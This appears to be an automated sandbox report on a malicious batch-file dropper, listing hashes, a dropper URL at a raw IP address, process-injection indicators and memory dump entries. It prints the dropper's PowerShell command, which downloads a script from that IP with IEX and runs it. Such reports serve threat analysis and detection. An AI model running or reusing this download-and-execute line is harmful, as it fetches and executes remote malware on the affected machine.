2805f33e7f7992595a10507ddb57e5bcb3ed34d8b6e8dcfa984ef77c31037132

Resubmissions

04-08-2020 12:31

26-07-2020 14:10

Target

e241deaf6f1e1d0d13589a66c942bc3b.bat
Size

216B
MD5

c79f7f4fe4b00e41b6dce691ba63a8ae
SHA1

b8f15e882ed45e2278545ad4e686e16cb1787dc3
SHA256

2805f33e7f7992595a10507ddb57e5bcb3ed34d8b6e8dcfa984ef77c31037132
SHA512

b20d2b133be14683663d795b6c2abf5fb2b23a2b87cc9ddbba1218dbd5d9704d112d13d51e6cb62f18297c8797d2c3152501bc35f1f97af2821c19d201a40034

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/e241deaf6f1e1d0d13589a66c942bc3b

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3904 wrote to memory of 2180	3904	cmd.exe	powershell.exe
PID 3904 wrote to memory of 2180	3904	cmd.exe	powershell.exe
PID 3904 wrote to memory of 2180	3904	cmd.exe	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

500 2180 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 500 WerFault.exe
Token: SeBackupPrivilege 500 WerFault.exe
Token: SeDebugPrivilege 500 WerFault.exe

pid	pid_target	process	target process
500	2180	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e241deaf6f1e1d0d13589a66c942bc3b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/e241deaf6f1e1d0d13589a66c942bc3b');Invoke-KXXKRQWJL;Start-Sleep -s 10000"
2⤵
PID:2180

memory/500-1-0x0000000004570000-0x0000000004571000-memory.dmp

Filesize
4KB

Download
memory/500-8-0x0000000004CA0000-0x0000000004CA1000-memory.dmp

Filesize
4KB

Download
memory/2180-0-0x0000000000000000-mapping.dmp

Download
memory/2180-2-0x0000000000000000-mapping.dmp

Download
memory/2180-3-0x0000000000000000-mapping.dmp

Download
memory/2180-4-0x0000000000000000-mapping.dmp

Download
memory/2180-5-0x0000000000000000-mapping.dmp

Download
memory/2180-6-0x0000000000000000-mapping.dmp

Download
memory/2180-7-0x0000000000000000-mapping.dmp

Download